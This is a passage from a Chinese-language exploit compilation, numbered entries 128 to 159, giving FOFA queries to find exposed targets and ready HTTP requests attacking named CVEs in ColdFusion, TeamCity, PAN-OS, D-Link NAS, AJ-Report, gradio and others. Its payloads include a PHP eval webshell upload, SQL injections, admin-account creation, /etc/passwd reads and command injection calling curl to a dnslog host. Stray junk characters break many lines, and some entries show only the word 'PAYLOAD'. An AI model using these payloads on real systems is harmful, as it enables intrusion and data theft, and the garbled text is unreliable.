Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
7 J7 c+ }, k( K6 ?* n8 i& S- x>
& s, \9 `& r- S6 ^. L- y: R<test>&t;</test>
. A7 R) v" t/ V4 W1 l------WebKitFormBoundaryJGgV5l5ta05yAIe0--

. ~3 r& \7 k' m" s6 U

128. Adobe ColdFusion 反序列化
! F8 w, h; p) v7 F: K8 vCVE-2023-38203
! s- F9 K' k# W% G7 e+ Q% ]) H8 dAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD

$ \& D1 E5 |4 T6 f; T( M129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
8 Z  `7 x! C4 rFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
) e! }2 q, V3 L0 v) wHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
' ]1 x- z4 U' t2 J( @2 P/ [Accept: */*
$ c$ q2 h2 w7 d1 nAccept-Encoding: gzip, deflate
0 n& H5 \2 U# e( O- g$ m$ o! SConnection: close

9 x0 X: ~# f( M( ~& h; e
第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
6 N; {& _% n. K8 j& YAccept: */*
* S) D. R* R1 wAccept-Encoding: gzip, deflate
Connection: close
2 U/ C4 b  k$ b5 c! n$ yuuid: 85f60018-a654-4410-a783-f81cbd5000b9
6 ]# T, H; W! f1 t/ R' @$ _4 |) a

130. Laykefu客服系统任意文件上传
8 D. `) ^- m. k( g, ]& g8 VFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
  O% j  j/ O5 \( g' f; GX-Requested-With: XMLHttpRequest
! y9 H. j) t4 `$ ^) ]4 C! XUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
/ V7 w; A4 S# j3 G+ }9 uAccept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close
1 U5 n$ N0 }5 e+ p) E/ H# G, a
" v' G: E9 U0 E6 e7 C------WebKitFormBoundary3OCVBiwBVsNuB2kR
& @$ Z( e* E8 E% u0 P  BContent-Disposition: form-data; name="file"; filename="1.php"
, \  T4 J/ `7 Z" h; }! k% rContent-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
, V7 R' E% Y" m: T( d# Q* P
8 K6 l7 W9 R3 O& D- m. U
' N/ @. X7 \/ I7 |* t* B% S( V* q131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
3 q7 K0 J1 d; {6 L+ N% u  PFOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
4 ~- s0 B4 a2 {9 Q0 a/ KAccept: */*
: }' X( U7 y7 K+ Y* q' n2 A: I, y( U: oContent-Type: application/json
Accept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


* d$ e! T# C+ oCVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp


CVE-2024-27198-RCE.py
. r9 X, s6 L+ Y" u
* E+ Z+ e. ^, [+ p) t! I5 \133. H5 云商城 file.php 文件上传
0 x  v$ Z' q' ]: }6 e; \8 |7 SFOFA：body="/public/qbsp.php"
' w  z) R+ {% W2 Z( ?POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
: h1 w& o) M# ]* f$ g* j9 `  AHost: your-ip
* {0 v5 m5 ~$ l5 f" B8 _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
# K3 l+ f: S( f' ?6 ~5 x) k# B- t1 \' MContent-Disposition: form-data; name="file"; filename="rce.php"
& L) l" v7 Y( ]3 x* u4 ^+ ZContent-Type: application/octet-stream

4 a1 t4 n, T+ J6 u6 N3 e<?php system("cat /etc/passwd");unlink(__FILE__);?>
* V. ^0 m" I$ x9 I) x* S8 ]------WebKitFormBoundaryFQqYtrIWb8iBxUCx--


) _, `; a) A' L( i& X" Y3 [
134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
+ @) X% [1 @: G1 M: rHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
# Y4 g& k- ?$ e! c4 i/ H" P& i0 e) iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
4 h: I5 I  |: \6 VAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
0 {5 F8 T# R3 o- R4 eConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263

- @* T- d3 `6 F3 J1 f$ H1 S$ ?* \+ Kjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
# D4 G9 U9 @* t: ?: @
7 l" f* w% e9 ]# @; C2 \
# T9 @4 \% b# v' d135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
1 a; P  e' ~8 B- c* R, U, D0 ^CVE-2024-2022
  R3 d% G- r& f  b. ~/ JNetentsec NS-ASG Application Security Gateway 6.3版本
* {$ e1 w: q3 v2 YFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ [: B: I( o& f: }, I+ m- x* fConnection: close

" }( O1 U0 }  k6 c
% v) ^$ U4 Y6 [* X$ t, ?+ f136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
6 ?6 I, a8 w0 JGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
4 I/ R6 b& y/ j! [; a  P4 OAccept: */*
Accept-Language: en
8 }; L7 a$ K$ Y5 V* ~2 u3 r$ QAccept-Encoding: gzip
; K0 y$ i7 `; G3 L

1 `, [, \7 ^7 F$ n7 L2 \3 M137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
. @0 N( `6 `' i5 RFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
% `' k: G6 Q5 W: CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
+ f3 w2 e, h2 G2 m4 B" G$ ZConnection: close
# u. C# G- E" c7 |" WCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
2 }1 U3 F1 i; B( B5 z! W9 R! TUpgrade-Insecure-Requests: 1

& b  K: o: i+ S" B7 P* W4 |: y
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
  x; P& `0 i9 eGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  q9 B  E% |6 }Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
( [3 v  l2 y, `2 \8 P8 B7 z

139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
+ Q# b5 z3 e- V2 w; fFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
, I. {1 b& n, x- ^- d+ ^GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" g% z+ w3 y) t6 k8 tAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
, b* N, n& [0 c& p* K  X/ b6 LUpgrade-Insecure-Requests: 1


140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
6 ~7 p* I. b8 K2 I; }2 W5 IFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
8 r/ H0 X: X& x' v: g6 o1 f7 S2 hGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. o4 e9 j4 e7 r6 Q4 kAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
! x3 I4 |4 j" H3 w1 Q: I4 s- T

141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
! u8 l: a6 Q( |! aPOST /app/ext/ajax_users.php HTTP/1.1
& J4 u( J6 X9 R  B# w* r! DHost: your-ip
/ h0 _$ c6 Z/ `+ k7 i  mUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
1 U% ^. B7 i( \  K* m2 \$ WContent-Type: application/x-www-form-urlencoded


dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
, l& d* R9 i# d9 u* l$ u; a
" r) l: \3 e$ V9 {1 ]5 K; y" b
" V$ e' Y0 w- c. x' }/ A142. CMSV6车辆监控平台系统中存在弱密码
" @7 L5 O$ g2 E/ o  W6 a' vCVE-2024-29666
FOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
( V; N; ~9 S- m2 bFOFA：title='AP setup' && header='netis'
7 d) B* c% t! B6 ~- e7 I) gPAYLOAD

144. D-Link nas_sharing.cgi 命令注入
# ^- v- H* c: o) W. qFOFA：app="D_Link-DNS-ShareCenter"
1 D- `! k0 `! W+ T2 ysystem参数用于传要执行的命令
# I! S- F. |. O3 g; b' ?' NGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
6 {# J) r5 o* {$ n6 MHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
: @9 {. I5 z1 P/ iAccept-Language: en
0 n. r- y8 l. WAccept-Encoding: gzip
) p+ z0 ?  {; A; J( |9 |
* f/ Y) C1 h3 c  A: B% n
  T. V& Y. j  S. H0 Q# o0 I145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
$ u* ?& _- A6 K/ ~. h/ xCVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
! y* B$ D( l6 T7 k6 n9 qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
: C; Q$ S& h" ~Accept-Encoding: gzip
7 d* C  `* u$ V4 O( l. S

" V7 b7 q/ u! R9 r- P146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
6 g7 z+ d% R4 t2 s/ s9 f. p6 JFOFA：app="MajordomoSL"
3 d* ]. a5 a% N' g0 e2 b% dGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
% p' [& [' ?+ Q; ~: t& iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
5 v8 q- P. G$ VAccept-Encoding: gzip, deflate
Connection: close
+ p2 b4 m1 ^/ H
9 T# r" N( ^% `/ p3 @& [2 B2 L% Q
* [* y9 t9 X! c4 A" d& I% D147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
9 Z: r$ p2 }! Z# O  r4 uCVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
& b6 I/ A* g# `4 y; B, i" uHost: 127.0.0.1:81
Cache-Control: max-age=0
2 o% Y  K% H7 Q0 e. b9 [  u2 lConnection: close
* @% g2 y/ Y' b- m1 V: u

148. CrushFTP 认证绕过模板注入
9 }/ s$ _% }7 n8 ?* T1 sCVE-2024-4040
. {5 ?7 c6 S) W! ~FOFA：body="CrushFTP"
PAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
% Z, }4 y1 T/ b$ G0 zFOFA：title="AJ-Report"

2 C9 c7 U" _' ?- X0 [POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
) f) L# f7 B% }  v5 qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
9 u6 M5 u$ h- ~& z3 ?* ?/ P4 cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
( J" O5 A1 S! E+ t6 c! RAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
5 ]1 d: O0 n" N8 C5 L% pConnection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
4 Z$ {4 W. ^1 V- |3 g& AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
3 I( I/ S1 t0 m  y) _  D) |9 U8 GAccept-Language: zh-CN,zh;q=0.9
$ f! b6 l4 e) V+ N( }1 G$ \Content-Type: application/json;charset=UTF-8
; q5 T5 q4 d  {$ e- j: R# pConnection: close
5 M( }2 K3 Z: }2 k/ iContent-Length: 339
1 X; m3 C5 a: S1 T/ _" H* N3 B
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

3 }* L$ s) o6 ^. u3 `7 X
151. AJ-Report 1.4.1 pageList sql注入
1 ]5 P, X# h6 f. ^. q# \FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
' A% k6 l. W0 z; I* ]3 n! lHost: x.x.x.x
  Y1 s9 d0 H1 P3 _* t! |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

  s/ ]5 E8 E' A7 b
- ]3 b3 g5 j4 }. R: }3 f152. Progress Kemp LoadMaster 远程命令执行
: P0 [' M$ B: F8 m, c" uCVE-2024-1212
) I( D0 h& K5 XLoadMaster <= 7.2.59.2 (GA)
' C! ^6 l6 f# xLoadMaster<=7.2.54.8 (LTSF)
" e( l9 h' P! v8 g) n# QLoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
9 s1 k4 V) F) ]5 t! P7 V. m1 e! g: VJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
2 z, D: @. l8 k5 q& NGET /access/set?param=enableapi&value=1 HTTP/1.1
0 C$ v* H5 L& H! p1 i5 pHost: x.x.x.x
3 w  W& p/ u/ J4 ]+ _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
) J: G2 h* H0 ~* l( U( D0 oAccept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip
7 C9 ?0 n) q+ Q+ s0 @/ `. V7 T
# F4 t, b% F2 g" s/ l; o
153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
( q" s5 i: |- j! l5 c: Ihttp://x.x.x.x/config
4 T4 b7 z) K% d0 ?" F
) ~" S9 ~! N/ P0 F0 a, B, ^0 B: D
8 _) p7 w6 f8 g3 p+ P第二步，将/etc/passwd的内容写入到一个临时文件
5 ^; V) r3 _! a8 sPOST /component_server HTTP/1.1
% `2 W! v% i0 X+ {Host: x.x.x.x
& `5 H1 F: q. _* }6 k! sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Content-Length: 115
) h" k% i+ b6 Q! K! e+ pContent-Type: application/json
) x( S% [& w# T; F+ {% X" BAccept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
0 X0 Q" K2 x  }* h
+ v- Q/ L" {7 _9 D5 Q
154. 天维尔消防救援作战调度平台 SQL注入
# X$ g" l  A7 O% a2 RCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
  t& Y# n0 |2 j' M, R8 a1 YPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
9 K* L/ T, g' FHost: x.x.x.x
Content-Length: 106
' r3 T- O0 L# K- H5 z+ VCache-Control: max-age=0
2 B! C, f& L# E* ]Upgrade-Insecure-Requests: 1
) i8 h0 D" W4 [/ [6 |Origin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
1 _% z3 M; C- Z  z% tAccept-Encoding: gzip, deflate
& Y- f# ]/ \( EAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
' x+ e1 v, Y* w$ G0 P7 c, p
8 H% n7 d/ q; M( s$ u{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
3 u" ^* T+ O8 Q; v- a; i' k+ [
( x8 [7 g, Y, T" o  u5 u) _; o
155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
; F# w$ c- x# n* r) ~FOFA：title=="上网导航 - LyLme Spage"
: ~0 d* [: e3 _- n8 C+ JPOST /include/file.php HTTP/1.1
' i; _; I' b4 {2 sHost: x.x.x.x
+ h5 Z4 _( Z4 Q6 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
# k# B5 V$ ~! d! R6 _; {9 B/ Q* yAccept-Encoding: gzip, deflate, br
7 g7 w/ u2 w) Y' m3 PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' N4 w( {: R/ L. ]& Q+ O$ kContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
' m8 H3 i& F" dX-Requested-With: XMLHttpRequest
& j0 b0 S+ \" G9 u  s/ N
2 u8 w0 a# q4 o# X5 G* ^1 x$ \; I-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
! C+ X( y6 [: @- b6 i8 qContent-Type: image/png
  w+ d2 h3 ]/ O6 C1 Z6 N
8 ]/ \" [) |3 i2 @) P+ U<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--

4 C$ ~* y1 V# y- [: V2 C; {
; f1 A, y& Y/ U6 d4 m& ~访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
' P& m2 K, [5 k6 q3 p0 L" Y$ C
156. TBK DVR-4104/DVR-4216 操作系统命令注入
4 U  d$ H/ Y. Z/ ]# gCVE-2024-3721
( W8 u4 p( P9 ^7 E4 z0 MFOFA："Location: /login.rsp"
- L, S6 r' M, [% a6 L# p5 R·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

% K. O, k7 P+ H+ ]3 |# Z
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
  ]  @& I  g! o; D3 TUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% a6 p( @8 E) i7 S* b: f2 i5 uConnection: close
Content-Length: 0
# q- K) L* f. M6 C: tCookie: uid=1
Accept-Encoding: gzip


& ?, Y2 O7 f+ {! C1 z3 G/ \157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
; w9 l( [" O5 gFOFA：body="/common/scripts/basic.js"
+ b0 t8 Z8 |3 I6 b, E  lPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
# a- q* v4 d' o' M7 d% JContent-Length: 709
- N# p4 T8 m) K* g4 t+ p" j% }( XAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 [, V1 o% X# @' }& F# gAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' \+ [) W6 ^2 o, b3 oCache-Control: max-age=0
; ~: w) ?6 e0 U6 p& _/ Z' FConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
" m9 M4 w; `- I6 l" lContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

7 h/ k  c2 L9 W3 G+ Fnyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
' r. B2 }4 Z+ B' }; ]1 h: b: G7 r% t5 vContent-Disposition: form-data; name="key"

null
------WebKitFormBoundary1imovELzPsfzp5dN
# }3 ^% R6 J$ l  j7 K- ]Content-Disposition: form-data; name="form"
5 z5 I: n- y  C- d
- K1 |4 r' D4 X: knull
6 C2 F+ l- ?7 G. S/ C8 b7 {------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"
" E: r  u0 S# y* T  N. Z6 _0 j
3 z0 V" R# c/ W9 o$ _* cnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

' y6 A) e. A- \; C$ }null
' a5 b( H+ @# \% f0 ~------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

* S$ i' ~- g' }null
. j* N3 l& ~" F------WebKitFormBoundary1imovELzPsfzp5dN--
. C2 R# h# E, p4 M. T

' y2 m- f* w: |! s5 Ohttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
1 ~) _* U/ l6 \% d3 h  E0 H: n
158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
5 ^9 u( T4 R5 j7 X2 X- [' ~; {FOFA："Generator: Masa CMS"
, A; l4 a4 L6 y% `9 L3 n4 d! \POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
: v7 c9 Z5 d' l' x# q, GHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
, `; m3 n) L: X; y' Q& U+ }* W
2 G7 V- D( W/ w2 J6 g5 X( u- Sobject=displayregion&contenthistid=x\'&previewid=1


1 e2 s* n9 K" {: l1 [159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
